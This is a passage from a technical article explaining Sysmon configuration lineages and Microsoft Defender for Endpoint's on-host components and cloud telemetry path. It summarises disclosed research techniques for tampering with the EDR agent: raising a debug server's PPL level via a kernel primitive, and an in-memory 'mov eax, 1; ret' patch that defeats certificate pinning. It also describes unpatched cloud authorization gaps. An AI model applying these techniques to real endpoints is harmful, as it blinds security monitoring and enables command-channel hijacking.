reads &quot;&lt;em&gt;the update introduced the first preventive measure -- the FileBlockExecutable event (ID 27)&lt;/em&gt;&quot; [@diversenok-2022].&lt;/p&gt;
&lt;p&gt;Twenty-nine events, four hardening releases, one schema. The catalogue is only useful if you configure Sysmon to emit subsets of it, and configuration is where the field&apos;s three lineages diverged.&lt;/p&gt;
&lt;h2&gt;5. Three Canonical Sysmon Configurations&lt;/h2&gt;
&lt;p&gt;Every production Sysmon deployment in the field is forked from one of three repositories. The lineage matters, and one of the things this article fixes is a common attribution error -- &quot;Florian Roth wrote the canonical Sysmon config&quot; is in widespread circulation, but the canonical &lt;em&gt;root&lt;/em&gt; is SwiftOnSecurity&apos;s repository, and Roth&apos;s repo is a 2018 fork of it.&lt;/p&gt;

The open-source generic-signature-format authored by Florian Roth and his collaborators at Nextron Systems; the SIEM-and-EDR field&apos;s vendor-neutral detection-rule lingua franca. The `SigmaHQ/sigma` repository ships over 3,000 detection rules covering the Windows kernel-callback surface (heavily Sysmon-aware), Linux audit, macOS unified log, AWS CloudTrail, Microsoft 365, and other event sources. Sigma rules are written once and compiled by community converters into the per-tool query languages (KQL for Defender XDR / Sentinel, SPL for Splunk, EQL for Elastic) [@github-sigma].
&lt;h3&gt;SwiftOnSecurity/sysmon-config (February 2017)&lt;/h3&gt;
&lt;p&gt;The historical root. The pseudonymous account &lt;em&gt;SwiftOnSecurity&lt;/em&gt; published the first widely-cited Sysmon configuration template on &lt;strong&gt;February 1, 2017&lt;/strong&gt; per the GitHub REST API [@github-swiftonsecurity-meta]. The README&apos;s design intent is the single sentence still printed at the top of the repo: &quot;&lt;em&gt;This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing&lt;/em&gt;&quot; [@github-swiftonsecurity]. The template emphasises clarity over coverage; the XML is heavily commented, and the rule structure follows a deliberately conservative pattern of &lt;code&gt;&amp;lt;Include&amp;gt;&lt;/code&gt; blocks per technique.&lt;/p&gt;
&lt;p&gt;SwiftOnSecurity&apos;s config is the most-cited starting point for Sysmon deployments worldwide and the one that detection-engineering tutorials default to. It is also the &lt;em&gt;parent&lt;/em&gt; of every other Sysmon-config repository on GitHub, in the literal GitHub-fork sense -- the GitHub REST API for both NextronSystems/sysmon-config and (via the historical fork-graph) other community configs returns &lt;code&gt;SwiftOnSecurity/sysmon-config&lt;/code&gt; as the parent [@github-nextronsystems-meta].&lt;/p&gt;
&lt;h3&gt;Neo23x0/sysmon-config, now NextronSystems/sysmon-config (January 2018, renamed 2021)&lt;/h3&gt;
&lt;p&gt;Florian Roth, working under his GitHub handle &lt;code&gt;@Neo23x0&lt;/code&gt;, forked SwiftOnSecurity&apos;s config in January 2018 and added blocking-rule support for Sysmon v14 plus the merged community pull-request set. The README&apos;s design intent reads: &quot;&lt;em&gt;This is a forked and modified version of @SwiftOnSecurity&apos;s sysmon config. ... We merged most of the 30+ open pull requests&lt;/em&gt;&quot; [@github-neo23x0]. The maintainer roster as of the present writing is Florian Roth (&lt;code&gt;@Neo23x0&lt;/code&gt;), Tobias Michalski (&lt;code&gt;@humpalum&lt;/code&gt;), Christian Burkard (&lt;code&gt;@phantinuss&lt;/code&gt;), and Nasreddine Bencherchali (&lt;code&gt;@nas_bench&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The repository ships a &lt;em&gt;blocking&lt;/em&gt; variant, &lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt;, that adds &lt;code&gt;&amp;lt;RuleGroup&amp;gt;&lt;/code&gt; blocks targeting EID 27 (FileBlockExecutable) and EID 28 (FileBlockShredding) for the most common malware-staging file paths. This is the variant SOC teams deploy when they want Sysmon&apos;s preventive surface to participate in the response pipeline as a hard block rather than as a detection-only artifact.&lt;/p&gt;

The legacy URL `https://github.com/Neo23x0/sysmon-config` now HTTP-301 redirects to `https://github.com/NextronSystems/sysmon-config`. The GitHub REST API for the current repository returns `created_at: 2021-07-24T06:19:41Z` with `parent: SwiftOnSecurity/sysmon-config`, which means the repository as it now exists was created in mid-2021 when Florian Roth moved it from his personal handle to his employer&apos;s organization namespace [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; the move is an organizational one. The exact pre-rename creation date of the original `Neo23x0/sysmon-config` repository is not reliably retrievable from the current API and is best dated as January 2018 based on the README and the fork-history.
&lt;h3&gt;olafhartong/sysmon-modular (January 13, 2018)&lt;/h3&gt;
&lt;p&gt;Olaf Hartong&apos;s &lt;code&gt;sysmon-modular&lt;/code&gt; was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository&apos;s design takes a different shape from the monolithic SwiftOnSecurity and NextronSystems configs: instead of one carefully-tuned XML, Hartong publishes a per-EID-per-technique module library that compiles into one of five pre-generated artifacts plus an arbitrary number of custom builds [@github-hartong-modular]. The pre-generated variants are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig.xml&lt;/code&gt; -- the default deployment baseline.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-with-filedelete.xml&lt;/code&gt; -- default plus the EID 23 archive variant of file delete, which preserves the deleted file in &lt;code&gt;C:\Sysmon\&lt;/code&gt; (volume-cost trade-off; recommend dedicated drive).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-excludes-only.xml&lt;/code&gt; -- the verbose variant, which captures everything except a small set of well-known exclusions; useful for detection-engineering R&amp;amp;D on a single host.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-research.xml&lt;/code&gt; -- the super-verbose variant, with the README&apos;s standing warning: &quot;&lt;em&gt;really DO NOT USE IN PRODUCTION!&lt;/em&gt;&quot; -- this is for live-malware-sample analysis in a sandbox, not for fleet rollout.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; -- the variant whose entire design intent is to augment Microsoft Defender for Endpoint&apos;s collection surface &quot;&lt;em&gt;to have as little overlap as possible&lt;/em&gt;&quot; with what MDE already captures [@github-hartong-modular].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The MDE-augment config is the artifact this article keeps returning to. It is the operational answer -- maintained by a person, not by Microsoft -- to the question of which Sysmon events are worth collecting on a host that already has MDE installed. We will return to its specific contents in §10. For now, the key observation is that this config exists because of a documented absence: Microsoft has not published a per-&lt;code&gt;ActionType&lt;/code&gt; cross-walk between MDE&apos;s &lt;code&gt;Device*&lt;/code&gt; schema and Sysmon&apos;s manifest, so Hartong reverse-engineered one.&lt;/p&gt;
&lt;h3&gt;Side-by-side comparison&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;SwiftOnSecurity/sysmon-config&lt;/th&gt;
&lt;th&gt;NextronSystems/sysmon-config (formerly Neo23x0)&lt;/th&gt;
&lt;th&gt;olafhartong/sysmon-modular&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Author / org&lt;/td&gt;
&lt;td&gt;SwiftOnSecurity (pseudonymous)&lt;/td&gt;
&lt;td&gt;Florian Roth + Nextron Systems team&lt;/td&gt;
&lt;td&gt;Olaf Hartong (and FalconForce collaborators)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;Feb 1, 2017&lt;/td&gt;
&lt;td&gt;Forked Jan 2018; renamed Jul 24, 2021&lt;/td&gt;
&lt;td&gt;Jan 13, 2018&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;One monolithic XML&lt;/td&gt;
&lt;td&gt;Two XMLs (audit + blocking)&lt;/td&gt;
&lt;td&gt;Modular per-technique + five pre-generated builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Design philosophy&lt;/td&gt;
&lt;td&gt;Quality starting point, conservative&lt;/td&gt;
&lt;td&gt;Community-maintained, blocking-aware&lt;/td&gt;
&lt;td&gt;Tunable modular, MITRE ATT&amp;amp;CK-mapped&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best used for&lt;/td&gt;
&lt;td&gt;First-time Sysmon deployment&lt;/td&gt;
&lt;td&gt;Standalone Sysmon at scale&lt;/td&gt;
&lt;td&gt;Sysmon alongside MDE, or per-team customization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pre-generated v14+ blocking&lt;/td&gt;
&lt;td&gt;No (audit only)&lt;/td&gt;
&lt;td&gt;Yes (&lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Yes (built from blocking modules)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDE coexistence variant&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (&lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Choosing among the three&lt;/h3&gt;
&lt;p&gt;The detection-engineering trade-off framing is short. Pick SwiftOnSecurity when you want a clean, well-commented starting point and you are not yet sure which events you actually need. Pick NextronSystems when you want a community-maintained baseline that already has the blocking rules for Sysmon v14+. Pick Hartong when you want fine-grained per-technique tunability or, more commonly, when you are running MDE and need Sysmon to augment rather than duplicate it.&lt;/p&gt;
&lt;p&gt;Tactical caution worth one inline note: Sysmon supports &lt;strong&gt;one active configuration at a time&lt;/strong&gt;. There is no aggregate-multiple-XMLs feature at the driver layer. Hartong&apos;s modular approach generates a single merged XML at build time; the production fleet receives that single XML and the driver enforces it. If you are trying to run two configurations side by side -- one for the SOC&apos;s hunting, one for the platform team&apos;s audit -- pick one, merge the rules, and ship the combined product. The deployment tooling in &lt;code&gt;sysmon-modular&lt;/code&gt; is built around exactly this constraint.&lt;/p&gt;
&lt;p&gt;All three configurations assume the same thing: either Sysmon is the only EDR on the host (a deployment posture that exists in air-gapped, regulatory-no-cloud, or unlicensed environments) or it is augmenting an EDR whose collection surface is known. The augment case is the one where the field has converged on Hartong. To understand why, we have to look at what the &lt;em&gt;other&lt;/em&gt; EDR -- Microsoft&apos;s own -- actually collects on the host.&lt;/p&gt;
&lt;h2&gt;6. Microsoft Defender for Endpoint: The Documented On-Host Surface&lt;/h2&gt;
&lt;p&gt;Two questions about MDE have very different answers. &lt;em&gt;What does Microsoft Defender for Endpoint run on this host?&lt;/em&gt; has a primary-source-quality answer from Microsoft Learn. &lt;em&gt;What does it actually do?&lt;/em&gt; has only a community-observed answer. The documented surface is the user-mode component inventory plus registry hives and event sources. The community-observed surface includes the kernel-callback inventory, the cloud TLS-pinning details, and the inter-process communication paths -- none of which Microsoft has published. Naming both halves with the right citations on each side is one of the few things this article does that other writeups skip.&lt;/p&gt;
&lt;h3&gt;The documented surface (Microsoft Learn, primary)&lt;/h3&gt;
&lt;p&gt;On every onboarded Windows endpoint, Microsoft Defender for Endpoint installs and runs a Windows service named &lt;strong&gt;&lt;code&gt;Sense&lt;/code&gt;&lt;/strong&gt;, whose display name is &quot;Microsoft Defender for Endpoint Service&quot; and whose backing executable is &lt;code&gt;MsSense.exe&lt;/code&gt;. The on-host troubleshooting page documents the canonical health-check command: &lt;code&gt;sc query sense&lt;/code&gt; [@sense-troubleshoot]. On Windows Server 2019, Server 2022, Server 2025, and Azure Stack HCI 23H2 or later, MDE is delivered as a &lt;em&gt;Feature on Demand&lt;/em&gt; with the capability name &lt;code&gt;Microsoft.Windows.Sense.Client~~~~&lt;/code&gt;. Microsoft documents the verification command verbatim: &quot;&lt;em&gt;DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~&lt;/em&gt;&quot; [@sense-troubleshoot][@ms-server-endpoints-learn].&lt;/p&gt;
&lt;p&gt;Onboarding state is recorded under two registry hives that Microsoft Learn names explicitly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection&lt;/code&gt; -- the policy-driven configuration surface.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status&lt;/code&gt; -- the run-time onboarding state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Onboarding diagnostics land in the &lt;strong&gt;&lt;code&gt;WDATPOnboarding&lt;/code&gt;&lt;/strong&gt; event source under the Application event log, with documented event IDs 5, 10, 15, 30, 35, 40, 65, and 70, each of which corresponds to a specific failure mode with a specific resolution procedure [@sense-troubleshoot]. The product installs to &lt;code&gt;C:\Program Files\Windows Defender Advanced Threat Protection\&lt;/code&gt; (the legacy path is preserved even after the September 2020 rebrand).&lt;/p&gt;
&lt;p&gt;The documented surface stops here. Microsoft Learn names &lt;code&gt;MsSense.exe&lt;/code&gt;, the &lt;code&gt;Sense&lt;/code&gt; service, the registry hives, the event source, the Feature on Demand, and the four operating systems. Microsoft Learn does &lt;em&gt;not&lt;/em&gt; publish a kernel-callback inventory for the MDE EDR sensor.&lt;/p&gt;
&lt;h3&gt;The community-observed surface&lt;/h3&gt;
&lt;p&gt;Past the documented boundary, what is in field-published primary sources is the user-mode binary inventory and the cloud-side TLS path. Three companion binaries sit alongside &lt;code&gt;MsSense.exe&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseCncProxy.exe&lt;/code&gt;&lt;/strong&gt; is the cloud-command-and-control proxy. This is the binary that holds the TLS connection out to Defender XDR ingest, applies the certificate-pinning policy, and shuttles agent-bound commands (live-response actions, custom-detection-rule pushes, sensor-configuration updates) back down to &lt;code&gt;MsSense.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseIR.exe&lt;/code&gt;&lt;/strong&gt; is the live-response and investigation actions binary. When a SOC analyst clicks &lt;strong&gt;Run script&lt;/strong&gt; or &lt;strong&gt;Collect investigation package&lt;/strong&gt; in the Defender XDR portal, &lt;code&gt;SenseIR.exe&lt;/code&gt; is the process that fulfils the request on the endpoint side.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseNdr.exe&lt;/code&gt;&lt;/strong&gt; is the network detection and response component, responsible for endpoint-side enrichment of network observations used in the &lt;code&gt;DeviceNetworkEvents&lt;/code&gt; table.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These binaries are not enumerated on Microsoft Learn in the same way the &lt;code&gt;Sense&lt;/code&gt; service itself is. They are documented in MDE incident-response runbooks, in third-party reverse-engineering posts, and in the file-system signature data on any onboarded endpoint. The article treats their existence as community-observed. &lt;code&gt;SenseIR.exe&lt;/code&gt; is corroborated by InfoGuard 2025&apos;s reverse-engineering of MDE&apos;s live-response cloud path [@infoguard-2025]; &lt;code&gt;SenseNdr.exe&lt;/code&gt; in particular lacks an explicit community primary writeup as of 2026 -- its role here is inferred from its on-disk binary metadata and the file-system signature data on onboarded endpoints.&lt;/p&gt;
&lt;p&gt;The kernel-side surface MDE shares with Defender Antivirus &lt;em&gt;is&lt;/em&gt; documented in the Defender Antivirus product line [@ms-defender-av-arch]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdBoot.sys&lt;/code&gt;&lt;/strong&gt; is the &lt;strong&gt;Early-Launch Antimalware (ELAM)&lt;/strong&gt; driver. It is the first non-Windows driver to load at boot and gates which non-ELAM drivers are allowed to load after it. It is signed with the &lt;strong&gt;Antimalware Extended Key Usage&lt;/strong&gt;, &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; [@ms-learn-elam-sample].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdFilter.sys&lt;/code&gt;&lt;/strong&gt; is the Defender Antivirus file-system minifilter. It sits alongside &lt;code&gt;SysmonDrv.sys&lt;/code&gt; at a different Filter Manager altitude.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdNisDrv.sys&lt;/code&gt;&lt;/strong&gt; is the Network Inspection System driver, which provides the host-firewall-augmenting NIS layer.&lt;/li&gt;
&lt;/ul&gt;

A Windows process-protection level, introduced in Vista (as Protected Process, for DRM) and extended in Windows 8.1 (for antimalware), that prevents user-mode debugger attach, code injection, and `OpenProcess` for write from any caller that does not itself run at an equal or higher PPL signer level. Antimalware-PPL (`PROTECTED_ANTIMALWARE_LIGHT`) is the level reserved for security products signed with the Antimalware EKU; `MsSense.exe` and Sysmon v15+ both run at this level.

The Windows boot-order privilege that lets a driver signed with the Antimalware EKU `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample] load before any non-ELAM driver and classify subsequent boot-start drivers as `Good`, `Bad`, or `Unknown` so the kernel can decide which to load. The ELAM driver *itself* is measured (along with the bootloader, kernel, and other early-boot artefacts) into TPM PCRs by Windows&apos;s *Measured Boot*, which is a separate boot-integrity feature; ELAM&apos;s job is to classify, not to measure. Defender Antivirus&apos;s `WdBoot.sys` is the canonical ELAM driver. Sysmon&apos;s `SysmonDrv.sys` is *not* ELAM-signed; this is the pre-driver-load horizon discussed in §12.

The Authenticode Extended Key Usage `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample], issued by Microsoft to security vendors after a code-signing and behavioral review. The EKU gates two distinct things: ELAM signing eligibility (so the driver loads first) and Antimalware-PPL eligibility for the user-mode service (so the service is harder to tamper with). MDE&apos;s `MsSense.exe`, Defender Antivirus&apos;s `MsMpEng.exe`, and Sysmon v15+ all carry this signature path.
&lt;h3&gt;Antimalware-PPL on MsSense.exe&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;MsSense.exe&lt;/code&gt; service runs as &lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Antimalware-PPL&lt;/a&gt;&lt;/strong&gt; -- &lt;code&gt;PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; in the kernel data structure. The protection level prevents an attacker with SYSTEM privileges from attaching a user-mode debugger, suspending the service, or injecting code into its address space using ordinary Windows debugging or code-injection APIs. This is the same protection level Sysmon v15+ runs at, and it is the same level Defender Antivirus&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; has run at since Windows 8.1. The structural defense closes user-mode tampering as a class. The residual attack surface is kernel-mode primitives -- which is what FalconForce had to use in 2022 to debug MDE [@falconforce-2022].&lt;/p&gt;
&lt;h3&gt;The dispositive reverse-engineering primary: FalconForce 2022&lt;/h3&gt;
&lt;p&gt;Olaf Hartong and Henri Hambartsumyan, working at FalconForce, published the most-cited reverse-engineering writeup of MDE&apos;s on-host architecture in 2022. The post&apos;s TL;DR captures both the debug-bypass technique and the cloud vulnerability that resulted from applying it:&lt;/p&gt;

You can debug MDE running on an endpoint by running `dbgsrv.exe` and raising its PPL protection to WinTcb. This can be used to snoop on data being transmitted by MDE to the cloud. We identified a vulnerability related to missing authorization checks of data sent from the MDE endpoint to the M365 cloud, allowing anyone to send spoofed data to any M365 tenant.
&lt;p&gt;The technique is precise [@falconforce-2022]. FalconForce raised the PPL signer level of Windows&apos;s PE debug server (&lt;code&gt;dbgsrv.exe&lt;/code&gt;) to &lt;code&gt;WinTcb&lt;/code&gt; -- a signer level &lt;em&gt;higher&lt;/em&gt; than Antimalware-PPL -- and used the elevated debug server to attach to &lt;code&gt;MsSense.exe&lt;/code&gt;. From inside that debug session they instrumented &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt;, the SSPI function MDE&apos;s cloud transport uses to wrap each outbound message before TLS encryption, and captured the plaintext payloads. The plaintext capture surfaced &lt;strong&gt;CVE-2022-23278&lt;/strong&gt;: a missing-authorization vulnerability in which the M365 cloud trusted whatever device-identifying claims the endpoint asserted, with no cross-check that the asserting endpoint owned the device identity it claimed [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. Microsoft patched the vulnerability on March 8, 2022, with a public acknowledgement to FalconForce: &quot;&lt;em&gt;Microsoft released a security update to address CVE-2022-23278 in Microsoft Defender for Endpoint. This important class spoofing vulnerability impacts all platforms. We wish to thank Falcon Force for the collaboration on addressing this issue through coordinated vulnerability disclosure&lt;/em&gt;&quot; [@msrc-cve-2022-23278].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The kernel-and-Defender-Antivirus surface MDE shares (&lt;code&gt;WdBoot.sys&lt;/code&gt; ELAM, &lt;code&gt;WdFilter.sys&lt;/code&gt; minifilter, &lt;code&gt;WdNisDrv.sys&lt;/code&gt; NIS) is documented. The specific callback inventory the MDE EDR sensor itself registers is not. The community&apos;s best-published primary for what &lt;code&gt;MsSense.exe&lt;/code&gt; actually does is the FalconForce 2022 reverse-engineering writeup -- and it covers a narrow slice (TLS interception and one cloud-authorization bug), not a full callback list. The Hartong &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; config exists &lt;em&gt;as a community-curated artifact&lt;/em&gt; precisely because Microsoft has not published a per-&lt;code&gt;ActionType&lt;/code&gt;-to-per-kernel-callback cross-walk. The most-cited operational config in the field is downstream of a documentation gap. This is the second aha moment of the article.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Putting the on-host pieces together&lt;/h3&gt;

flowchart TD
    B[&quot;WdBoot.sys (ELAM, Antimalware EKU)&quot;] -.boot order.-&amp;gt; F[&quot;WdFilter.sys (file minifilter)&quot;]
    B -.boot order.-&amp;gt; N[&quot;WdNisDrv.sys (Network Inspection)&quot;]
    F --&amp;gt; M[&quot;MsSense.exe (Antimalware-PPL aggregator)&quot;]
    N --&amp;gt; M
    M --&amp;gt; IR[&quot;SenseIR.exe (Live Response)&quot;]
    M --&amp;gt; NDR[&quot;SenseNdr.exe (Network Detection)&quot;]
    M --&amp;gt; P[&quot;SenseCncProxy.exe (cloud forwarder)&quot;]
    P -- &quot;TLS + certificate pinning&quot; --&amp;gt; C[&quot;Defender XDR ingest (regional Kusto)&quot;]
&lt;p&gt;The picture is asymmetric: the kernel-driver substrate at the top is documented in the Defender Antivirus product line; the user-mode service inventory in the middle is documented for &lt;code&gt;MsSense.exe&lt;/code&gt; and partly documented for the companion binaries; the cloud transport at the bottom is documented at the API-contract level (TLS, certificate pinning) but the specific endpoints and the on-the-wire payload format are reverse-engineered. The community published primaries -- FalconForce 2022 above the line, InfoGuard Labs 2025 below it -- are how the field knows what they know about the cloud-bound payload. Which is the next layer.&lt;/p&gt;
&lt;h2&gt;7. The Cloud Pipeline: SenseCncProxy.exe to Defender XDR Ingest&lt;/h2&gt;
&lt;p&gt;The wire between &lt;code&gt;MsSense.exe&lt;/code&gt; and Microsoft&apos;s cloud is TLS with certificate pinning. It is also, twice in the last four years, the place where the most interesting Defender for Endpoint vulnerabilities have lived. The 2022 round closed one of them. The 2025 round is still open as of this article&apos;s writing.&lt;/p&gt;
&lt;h3&gt;Certificate pinning and the FalconForce 2022 method&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MsSense.exe&lt;/code&gt; does not trust whatever the Windows certificate store says about the chain to Defender XDR ingest. It pins the certificate. FalconForce&apos;s bypass is the one §6 already named: raise &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL, attach the elevated debug server to &lt;code&gt;MsSense.exe&lt;/code&gt;, instrument &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; to capture the plaintext payload &lt;em&gt;before&lt;/em&gt; TLS encryption [@falconforce-2022].The specific PPL elevation technique is published in the same writeup. PPLKiller&apos;s &lt;code&gt;/enablePPL&lt;/code&gt; patch writes the Antimalware-PPL bit into &lt;code&gt;dbgsrv.exe&lt;/code&gt;&apos;s &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; field at the highest signer level (&lt;code&gt;WinTcb&lt;/code&gt;). The result: a PE debug server running at a PPL level &lt;em&gt;above&lt;/em&gt; Antimalware-PPL, with &lt;code&gt;OpenProcess&lt;/code&gt; rights against any Antimalware-PPL target [@falconforce-2022]. This requires SYSTEM plus a kernel primitive, typically delivered via BYOVD.&lt;/p&gt;
&lt;p&gt;The InfoGuard Labs 2025 follow-up took a different route to the same problem. Instead of reading plaintext before TLS encryption, InfoGuard &lt;em&gt;patches&lt;/em&gt; the certificate-chain validation function in memory so the endpoint certificate is no longer checked at all. Any local TLS-stripping proxy can then intercept the wire. The verbatim patch is two CPU instructions written into &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt;: &quot;&lt;code&gt;mov eax, 1; ret&lt;/code&gt;&quot; -- which forces the function to return success without performing any actual chain check [@infoguard-2025].&lt;/p&gt;
&lt;p&gt;With the pinning gate disabled, InfoGuard&apos;s team observed the on-the-wire protocol. The cloud-bound payload goes to two endpoint families: &lt;code&gt;/edr/commands/cnc&lt;/code&gt; for command-and-control and &lt;code&gt;/senseir/v1/actions/&lt;/code&gt; for live-response actions. The vulnerability they then disclosed is that both endpoint families accept &quot;data sent from the MDE endpoint to the cloud ... without validating authentication tokens, allowing a post-breach attacker with a machine&apos;s ID to hijack the command-and-control channel&quot; [@infoguard-2025]. Microsoft&apos;s response, verbatim: &quot;&lt;em&gt;All findings were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix&lt;/em&gt;&quot; [@infoguard-2025].&lt;/p&gt;

FalconForce 2022 found a missing-authorization bug in the cloud&apos;s trust path. CVE-2022-23278 was patched. InfoGuard Labs 2025 found a different missing-authorization pattern in different cloud endpoints -- different bug, same class -- and the disclosure record says Microsoft has not committed to a fix. The cloud trusts whatever the endpoint claims about itself far enough that the same authorization gap keeps surfacing. The arc that began with the March 2022 spoofing-CVE patch is not closed. This is the third aha moment of the article, surfaced again in §11.
&lt;h3&gt;What the cloud does on arrival&lt;/h3&gt;
&lt;p&gt;Once &lt;code&gt;SenseCncProxy.exe&lt;/code&gt; has TLS-shipped the event over the wire to the regional Defender XDR ingest endpoint, two things happen on the cloud side. First, the event lands in the Advanced Hunting Kusto cluster. Microsoft Learn&apos;s verbatim freshness claim is: &quot;&lt;em&gt;Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services&lt;/em&gt;&quot; [@advanced-hunting-overview]. &quot;Almost immediately&quot; is empirically a few seconds in steady state, which is exactly what Maya saw in §1: a row with &lt;code&gt;Timestamp&lt;/code&gt; three seconds in the past.&lt;/p&gt;
&lt;p&gt;Second, the event is replicated for use by Microsoft&apos;s built-in detection rules, MITRE-mapped queries, and the cross-domain correlation surface that joins endpoint events to email events, identity events, and cloud-application events. The cross-domain join is one of the most-cited reasons enterprises stay on the licensed product rather than fall back to standalone Sysmon: KQL can join &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to &lt;code&gt;EmailEvents&lt;/code&gt; to &lt;code&gt;IdentityLogonEvents&lt;/code&gt; in one query, and Sysmon-only deployments cannot do that without a separate SIEM doing the cross-source enrichment.&lt;/p&gt;
&lt;p&gt;Data residency is documented at the regional level in the MDE configure-server-endpoints page: &quot;&lt;em&gt;data is stored in the US for customers in the USA; in EU for European customers; and in the UK for customers in the United Kingdom&lt;/em&gt;&quot; [@ms-server-endpoints-learn]. Retention in-portal is the same quota for all geographies: &quot;&lt;em&gt;Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data&lt;/em&gt;&quot; [@advanced-hunting-overview]. Past 30 days, the customer has to extend the retention surface via Microsoft Sentinel&apos;s per-table archiving, which is the operational story §9 picks up.&lt;/p&gt;
&lt;h3&gt;The event&apos;s journey, end to end&lt;/h3&gt;

sequenceDiagram
    participant K as Kernel callback (WdFilter or SysmonDrv)
    participant S as MsSense.exe (Antimalware-PPL)
    participant P as SenseCncProxy.exe
    participant CP as CRYPT32!CertVerifyCertificateChainPolicy
    participant C as Defender XDR ingest (regional Kusto)
    participant Q as DeviceProcessEvents table
    K-&amp;gt;&amp;gt;S: Synchronous callback notification
    Note over S: Enrich (parent PID, hashes, identity, ProcessGuid)
    S-&amp;gt;&amp;gt;S: SspiCli!EncryptMessage (FalconForce 2022 plaintext capture point)
    S-&amp;gt;&amp;gt;P: IPC to cloud forwarder
    P-&amp;gt;&amp;gt;CP: Validate Defender XDR certificate chain
    CP--&amp;gt;&amp;gt;P: Pinned chain OK (InfoGuard 2025 bypass: patch CP to return 0 unconditionally)
    P-&amp;gt;&amp;gt;C: HTTPS POST /edr/commands/cnc or /senseir/v1/actions/
    C-&amp;gt;&amp;gt;Q: Write into Kusto cluster
    Note over Q: &quot;Almost immediately&quot; -- seconds end to end
    Q--&amp;gt;&amp;gt;K: Queryable via KQL
&lt;p&gt;The diagram is annotated with the two community-disclosed interception points because they are the two places the field has actually been able to observe what is on the wire. Between &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; (where the plaintext payload exists) and &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; (where the certificate chain gets validated), the path is otherwise opaque to external researchers. The Microsoft-published side of the story is the contractual one: TLS, certificate pinning, regional ingest, Kusto cluster, KQL exposure. The reverse-engineered side fills in the rest.&lt;/p&gt;
&lt;p&gt;Within seconds, the event appears as a row in &lt;code&gt;DeviceProcessEvents&lt;/code&gt;. The reader-side schema is where the analyst lives. So: what columns?&lt;/p&gt;
&lt;h2&gt;8. Six &lt;code&gt;Device*&lt;/code&gt; Tables and One Worked KQL Query&lt;/h2&gt;
